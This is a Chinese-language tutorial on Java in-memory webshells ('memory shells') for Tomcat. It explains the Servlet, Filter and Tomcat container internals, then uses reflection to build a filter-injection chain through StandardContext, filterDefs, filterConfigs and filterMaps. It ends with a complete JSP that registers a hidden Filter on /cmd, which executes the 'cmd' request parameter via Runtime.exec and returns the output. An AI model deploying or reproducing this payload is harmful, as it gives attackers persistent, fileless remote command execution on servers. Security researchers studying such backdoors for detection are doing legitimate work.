内存马简介

内存马通常指攻击者在获得一定代码执行能力后,将恶意逻辑动态注册到运行中的 Web 容器、框架或 JVM 运行时中,使其在不落地传统 WebShell 文件的情况下处理特定请求。多数内存马依赖当前进程生命周期,应用或容器重启后通常失效;但如果攻击者同时控制了持久化触发点,例如 JSP、定时任务、Agent、配置文件或启动脚本,则可能在重启后再次注入。

java web

Servlet

servlet本质上是一个java对象,接收客户端请求并处理然后返回响应

任务

1.接受请求数据:HttpServletRequest对象

1
HttpServletRequest 是 Java Servlet API 中的一个接口,它用于封装客户端发送的 HTTP 请求。当客户端通过 HTTP 协议访问服务器时,请求中的所有信息,包括请求头、请求参数、路径信息等,都会被封装在 HttpServletRequest 对象中

2.处理数据:当 Servlet 收到请求时(在 service、doGet 或 doPost 方法里),先把客户端传来的参数拿到,然后调用业务层的方法去处理这些参数

3.返回响应:转发(forward)和重定向(redirect)

1
2
forward是HttpServletRequest的方法,只有一次请求,共享requests参数
redirect是HttpServletResponse的方法,再发送一次请求,不共享requests参数

Filter

主要负责拦截请求,过滤响应和放行,拦截客户端的HttpServletRequest 和返回的HttpServletResponse

可以用多个Filter构成Filter链,执行顺序由 filter-mappingweb.xml 中的先后顺序决定

filter-mapping 还可以配置 dispatcher,决定 Filter 在什么类型的请求分发中生效。

1
2
3
4
5
<filter-mapping>
<filter-name>LoginFilter</filter-name>
<url-pattern>/*</url-pattern>
<dispatcher>REQUEST</dispatcher>
</filter-mapping>

常见请求类型

1
2
3
4
5
REQUEST  普通浏览器请求,默认值
FORWARD 服务器内部转发
INCLUDE 页面包含
ERROR 错误页面跳转
ASYNC 异步请求

url-mapping的三种匹配规则

1.匹配精确路由

1
2
3
4
5
<filter-mapping>
<filter-name>AdminFilter</filter-name>
<url-pattern>/admin.htm</url-pattern>
</filter-mapping
拦截/admin.htm路由

2.匹配路由的前缀

1
2
3
4
5
<filter-mapping>
<filter-name>AdminFilter</filter-name>
<url-pattern>/admin/*</url-pattern>
</filter-mapping
拦截/admin/a.htm等其他以/admin/开头的路由

3.匹配路由的后缀

1
2
3
4
5
<filter-mapping>
<filter-name>AdminFilter</filter-name>
<url-pattern>*.htm</url-pattern>
</filter-mapping
匹配.htm为后缀的路由

工作原理

有了 Filter 之后,请求不会直接进入 Servlet 的 service() 方法,而是先进入 Filter 链。容器会先调用 Filter.doFilter()。在 doFilter() 里面,如果调用了 FilterChain.doFilter(request, response),请求就会继续往后传递:后面可能是下一个 Filter,也可能是最终的 Servlet。如果没有调用 FilterChain.doFilter(),请求就会被当前 Filter 截断,Servlet 的 service() 方法就不会执行。因此,Filter 位于请求进入 Servlet 之前,能够拦截请求和响应,所以它常被用来实现鉴权、日志、编码处理等功能;从安全角度看,如果攻击者已经获得代码执行能力,也可能滥用动态注册 Filter 的机制来形成内存马。

listener

在javaweb中特定的事件源发生改变的时(如创建、销毁、属性改变等),监听器会收到通知并执行相应的回调方法

Tomcat

Tomcat 实际上可以理解为一个 Web 服务器加 Servlet 容器。浏览器发送来的 HTTP 请求不是由 Servlet 解析的,而是先由 Tomcat 的 Connector 解析,然后 Tomcat 将请求和响应封装成 HttpServletRequestHttpServletResponse 这类对象,再交给后面的容器体系处理。

Servlet、Filter、Listener 是 Java Web 应用里的三大组件。Tomcat 负责根据 web.xml、注解或动态注册信息来创建、管理、调用和销毁这些组件。

Tomcat 的核心结构可以看成 ConnectorContainerConnector 负责接收和解析网络请求,支持 HTTP/1.1、HTTP/2、AJP 等多种协议;Container 是容器体系的统称,EngineHostContextWrapper 都属于 Container。

从整体层级上看,一个 Tomcat 实例对应一个 Server,一个 Server 中可以包含多个 Service。每个 Service 通常包含多个 Connector 和一个 Engine

以访问 http://www.example.com/demo/login 为例,Connector 接收到 HTTP 请求后,会解析请求并封装 Request 和 Response 对象,然后交给 Engine。Engine 根据请求头中的域名 www.example.com 选择对应的 Host。Host 表示虚拟主机,一个 Host 可以包含多个 Context。Context 表示一个 Web 应用,例如 /demo。Context 下面可以包含多个 Wrapper,Wrapper 是某个 Servlet 的包装对象。最终 Tomcat 根据 /login 找到对应的 Wrapper,再由 Wrapper 调用对应 Servlet 的 service() 方法处理请求。

内存马实现

Java内存马

Filter型

FilterChain是根据StandardContext里的filterConfigsfilterDefsfilterMaps生成的。修改这三个变量就能添加一个可以执行webshell的filter,这就是filter型内存马的注入过程。

Filter链的执行过程是filter.dofilterfilterchain.dofilter到下一个filter.dofilter或者到最后的servlet服务

在自定义的filter的dofilter方法下个断点

然后到了ApplicationFilterChain的doFilter方法

然后进入该类的internalDoFilter方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
private void internalDoFilter(ServletRequest request, ServletResponse response) throws IOException, ServletException {
if (this.pos < this.n) {
ApplicationFilterConfig filterConfig = this.filters[this.pos++];

try {
Filter filter = filterConfig.getFilter();
if (request.isAsyncSupported() && !filterConfig.getFilterDef().getAsyncSupportedBoolean()) {
request.setAttribute("org.apache.catalina.ASYNC_SUPPORTED", Boolean.FALSE);
}

if (Globals.IS_SECURITY_ENABLED) {
Principal principal = ((HttpServletRequest)request).getUserPrincipal();
Object[] args = new Object[]{request, response, this};
SecurityUtil.doAsPrivilege("doFilter", filter, classType, args, principal);
} else {
filter.doFilter(request, response, this);
}

n是filterchain中filter的总数,pos是当前是第几个filter,然后调用对应的filter的方法,这里我们进入的是WSFilter.class,是tomcat默认的filter,该类最后的 chain.dofilter又会回到ApplicationFilterChaindofilter方法,然后进行下一轮的判断,没有filter就会调用servletservice方法

先看FilterChain是怎么创建的,org.apache.catalina.core.ApplicationFilterFactory类的createFilterChain方法

1
2
3
4
5
6
7
8
9
10
for(FilterMap filterMap : filterMaps) {
if (matchDispatcher(filterMap, dispatcher) && FilterUtil.matchFiltersURL(filterMap, requestPath)) {
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig)context.findFilterConfig(filterMap.getFilterName());
if (filterConfig == null) {
log.warn(sm.getString("applicationFilterFactory.noFilterConfig", new Object[]{filterMap.getFilterName()}));
} else {
filterChain.addFilter(filterConfig);
}
}
}

遍历filterMaps,根据url匹配使用的filter,然后用addFiter添加filter

ApplicationFilterChainaddFilter方法

这里就和上面的ApplicationFilterChain类获取filter对上了

进入context.findFilterConfig方法,看看filterConfig是怎么获得的

所以我们现在能确定的就是新注册Filter需要改filterMapfilterConfigs,在StandardContext类中

能看到filterStart方法向filterconfigs写入(name,filterConfig)filterConfig是根据FilterDef创建的。

事实上FilterDef是根据web.xml中的</filter>生成的,filterMap是根据</filter-mapping>生成的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="https://jakarta.ee/xml/ns/jakartaee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="https://jakarta.ee/xml/ns/jakartaee https://jakarta.ee/xml/ns/jakartaee/web-app_6_0.xsd"
version="6.0">
<filter>
<filter-name>filter1name</filter-name>
<filter-class>org.example.demo2.filter1</filter-class>
</filter>
<filter-mapping>
<filter-name>filter1name</filter-name>
<url-pattern>/*</url-pattern>
</filter-mapping>
</web-app>

构造filterConfig

1
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig)context.findFilterConfig(filterMap.getFilterName());

进入findFilterConfig方法

1
2
3
4
5
public FilterConfig findFilterConfig(String name) {
synchronized(this.filterDefs) {
return (FilterConfig)this.filterConfigs.get(name);
}
}

filterConfigsMap类,可以直接put进去filterConfig

1
private final Map<String, ApplicationFilterConfig> filterConfigs = new HashMap();

一个String类,一个ApplicationFilterConfig,看看ApplicationFilterConfig的构造函数

其中contextStandardContext,filterDef是**org.apache.tomcat.util.descriptor.web.FilterDef**

看到org.apache.catalina.core.ApplicationContext#addFilternew FilterDef之后调用了setFilterNamesetFilterClasssetFilter

按照该方法的方式创建FilterDef

1
2
3
4
5
6
7
//FilterDef创建
String a="filtername";
FilterDef filterDef=new FilterDef();
filterDef.setFilterName(a);
filterDef.setFilterClass(filter.getClass().getName());
filterDef.setFilter(filter);
standardContext.addFilterDef(filterDef);

然后filterDefcontext作为参数去实例化ApplicationFilterConfig类,然后ApplicationFilterConfigstring作为参数实例化FilterConfig然后put

ApplicationFilterConfig的构造方法是包级私有,利用反射获取构造器,然后实例化,其中的contextstandardContext,还需要该类的实例,就能构造FilterConfig

1
2
3
4
Class <?>class1=Class.forName("org.apache.catalina.core.ApplicationFilterConfig");
Constructor<?> cons1= class1.getDeclaredConstructor(Context.class, FilterDef.class);
cons1.setAccessible(true);
ApplicationFilterConfig applicationFilterConfig =cons1.newInstance(,filterDef);

在web应用里最好获取的是servletContext类,这个类到standardContext类有一条链

1
2
3
4
5
6
7
request.getServletContext()

ApplicationContextFacade

ApplicationContext

StandardContext
1
ServletContext servletContext = getServletConfig().getServletContext(); //获取servletContext

ApplicationContextFacade类实现了ServletContext接口且有ApplicationContext字段,直接强转servletContext

1
ApplicationContextFacade applicationContextFacade = (ApplicationContextFacade) servletContext;

ApplicationContextFacade 中保存 ApplicationContextcontext 字段是 private,因此需要通过反射访问该字段。

1
2
3
4
5
6
7
8
//获取ServletContext
ServletContext servletContext = getServletConfig().getServletContext();
ApplicationContextFacade applicationContextFacade = (ApplicationContextFacade) servletContext;

//获取ApplicationContext
Field f=applicationContextFacade.getClass().getDeclaredField("context");
f.setAccessible(true);
ApplicationContext applicationContext=(ApplicationContext) f.get(applicationContextFacade);

同样的方法获取StandardContext

1
2
3
4
5
6
7
8
9
10
11
12
13
//获取servletContext类
ServletContext servletContext = getServletConfig().getServletContext();
ApplicationContextFacade applicationContextFacade = (ApplicationContextFacade) servletContext;

//获取ApplicationContext类
Field f = applicationContextFacade.getClass().getDeclaredField("context");
f.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) f.get(applicationContextFacade);

//获取StandardContext类
Field f2 = applicationContext.getClass().getDeclaredField("context");
f2.setAccessible(true);
StandardContext standardContext = (StandardContext) f2.get(applicationContext);

然后最后把standardContext填入

1
ApplicationFilterConfig applicationFilterConfig = (ApplicationFilterConfig)cons1.newInstance(standardContext,filterDef);

就得到了一个ApplicationFilterConfig类,然后将filterNameapplicationFilterConfigput进FilterConfigs

构造FilterConfigs,同样反射获取,这是standardContext类的字段

1
2
3
Field filterConfigs = standardContext.getClass().getDeclaredField("filterConfigs");
filterConfigs.setAccessible(true);
HashMap hashMap = (HashMap) filterConfigs.get(standardContext);

然后put进去

1
hashMap.put(filterName,applicationFilterConfig);

构造filterMap

1
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig)context.findFilterConfig(filterMap.getFilterName());

向上找filterMap,

1
FilterMap[] filterMaps = context.findFilterMaps();

进入findFilterMaps方法

1
2
3
public FilterMap[] findFilterMaps() {
return this.filterMaps.asArray();
}

类中有该变量的定义

1
private final ContextFilterMaps filterMaps = new ContextFilterMaps();

进入ContextFilterMaps

这两个方法都能加filterMap

new了一个filterMap,addURLPattern,setFilterNamesetDispatcheraddFilterMapBefore

1
2
3
4
5
FilterMap filterMap = new FilterMap();
filterMap.addURLPattern("/*");
filterMap.setFilterName(filterName);
filterMap.setDispatcher(DispatcherType.REQUEST.name());
standardContext.addFilterMapBefore(filterMap);

或者

1
2
3
4
5
6
7
Field filterMaps = stc.getClass().getDeclaredField("filterMaps");
filterMaps.setAccessible(true);
Object fltmps = filterMaps.get(stc);
Class filterMapsClass = fltmps.getClass();
Method filterMapsAdd = filterMapsClass.getDeclaredMethod("addBefore", FilterMap.class);
filterMapsAdd.setAccessible(true);
filterMapsAdd.invoke(fltmps, filterMap);

使用ContextFilterMaps的内部方法,推荐第一种

Filter内存马

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="javax.servlet.ServletContext"%>
<%@ page import="org.apache.catalina.Context" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.catalina.core.ApplicationContextFacade" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.util.HashMap" %>
<%@ page import="java.io.IOException" %>
<%@ page import="java.util.Scanner" %>
<%@ page import="java.io.InputStream" %>
<html>
<head>
<title>Title</title>
</head>
<body>

<%

Filter filter = new Filter() {
@Override
public void init(FilterConfig filterConfig) throws ServletException {
System.out.println("filter success");
}


@Override
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
HttpServletRequest req = (HttpServletRequest) request;
if (req.getParameter("cmd") != null) {
InputStream in = Runtime.getRuntime().exec(req.getParameter("cmd")).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\a");
String output = s.hasNext() ? s.next() : "";
response.getWriter().write(output);
response.getWriter().flush();
return;
}
chain.doFilter(request, response);
}


@Override
public void destroy() {
// Filter.super.destroy();
}
};

ServletContext servletContext = getServletConfig().getServletContext();
ApplicationContextFacade applicationContextFacade = (ApplicationContextFacade) servletContext;
Field f = applicationContextFacade.getClass().getDeclaredField("context");
f.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) f.get(applicationContextFacade);
Field f2 = applicationContext.getClass().getDeclaredField("context");
f2.setAccessible(true);
StandardContext standardContext = (StandardContext) f2.get(applicationContext);

//FilterDef创建
String a="filtername";
FilterDef filterDef=new FilterDef();
filterDef.setFilterName(a);
filterDef.setFilterClass(filter.getClass().getName());
filterDef.setFilter(filter);
standardContext.addFilterDef(filterDef);

//创建filterConfigs
Class <?>class1=Class.forName("org.apache.catalina.core.ApplicationFilterConfig");
Constructor<?> cons1= class1.getDeclaredConstructor(Context.class, FilterDef.class);
cons1.setAccessible(true);
ApplicationFilterConfig applicationFilterConfig = (ApplicationFilterConfig)cons1.newInstance(standardContext,filterDef);

Field filterConfigs = standardContext.getClass().getDeclaredField("filterConfigs");
filterConfigs.setAccessible(true);
HashMap hashMap = (HashMap) filterConfigs.get(standardContext);
hashMap.put(a,applicationFilterConfig);

//filterMap创建
FilterMap filterMap = new FilterMap();
filterMap.addURLPattern("/cmd");
filterMap.setFilterName(a);
filterMap.setDispatcher(DispatcherType.REQUEST.name());
standardContext.addFilterMapBefore(filterMap);


%>
</body>
</html>